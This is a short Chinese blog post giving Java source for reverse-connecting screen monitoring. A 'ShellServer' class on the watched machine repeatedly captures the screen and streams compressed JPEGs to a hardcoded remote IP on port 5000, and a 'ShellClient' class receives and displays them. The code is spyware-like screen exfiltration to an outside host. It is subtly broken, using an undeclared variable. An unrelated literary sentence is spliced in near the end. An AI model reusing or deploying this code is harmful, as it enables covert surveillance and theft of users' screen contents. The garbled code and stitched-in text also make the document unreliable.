JAVA用TCP实现反向连接屏幕监视

以下这个为服务器类 被监视的用户

import com.sun.image.codec.jpeg.JPEGCodec;import com.sun.image.codec.jpeg.JPEGImageEncoder;import java.awt.Dimension;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.FileOutputStream;import java.io.IOException;import java.net.Socket;import java.util.zip.ZipEntry;import java.util.zip.ZipOutputStream;public class ShellServer extends Thread{private Dimension screenSize;private Rectangle rectangle;private Robot robot;private JPEGImageEncoder encoder;public ShellServer() {screenSize = Toolkit.getDefaultToolkit().getScreenSize();rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域try{robot = new Robot();}catch(Exception e){e.printStackTrace();System.out.println(e);}}public void run(){ZipOutputStream s = null;Socket socket=null;while (true){try{socket = new Socket("220.173.44.158",5000);//连接远程IPBufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域s = new ZipOutputStream(socket.getOutputStream());//加入压缩流//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));os.setLevel(9);os.putNextEntry(new ZipEntry("1.jpg"));JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEGos.close();Thread.sleep(50);//每秒20帧}catch(Exception e){e.printStackTrace();}finally{if(os!=null){try{os.close();}catch(Exception ioe){}}if(socket!=null){try {socket.close();} catch (IOException e) {}}}}}public static void main(String[] args) {new ShellServer().start();}}

以下这个为客户端类 监视者

import java.awt.*;import java.awt.image.BufferedImage;import javax.imageio.ImageIO;import javax.swing.*;import java.io.*;import java.net.ServerSocket;import java.net.Socket;import java.util.zip.ZipInputStream;public class ShellClient extends JFrame{Dimension screenSize;public ShellClient() {super();screenSize = Toolkit.getDefaultToolkit().getScreenSize();this.setSize(800, 640);//设置Frame初始Screen p = new Screen();//屏幕类Container c = this.getContentPane();c.setLayout(new BorderLayout());//布局c.add(p,"Center");//添加一个Panelnew Thread(p).start();//开启线程this.show();//显示本Frame}public static void main(String[] args){new ShellClient();}class Screen extends JPanel implements Runnable{private Image cimage;public void run(){ServerSocket ss=null;try{ss=new ServerSocket(5000);//探听5000端口的连接while(true){Socket s=null;try{s=ss.accept();//获取一个SOCKETZipInputStream zis=new ZipInputStream(s.getInputStream());zis.getNextEntry();//获得ZIP流的ENTRYcimage = ImageIO.read(zis);//把ZIP流转换为图片//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));repaint();//重画}catch(Exception e){e.printStackTrace();}finally{if(s!=null){try {s.close();} catch (IOException e) {}}}}}catch(Exception e){}finally{if(ss!=null){try {ss.close();} catch (IOException e) {}}}}public Screen() {super();this.setLayout(null);}public void paint(Graphics g){super.paint(g);Graphics2D g2 = (Graphics2D) g;g2.drawImage(cimage, 0, 0, null);}}}

主要采用了TCP协议+压缩流~ 速度还可以!不过觉得还可以优化,用UDP+动态的矩阵迟点再改进吧!

是会眨眼的星星,而当火车弯曲而行,这些星群便上上下下的画着弧线,

JAVA用TCP实现反向连接屏幕监视

相关文章:

你感兴趣的文章:

标签云: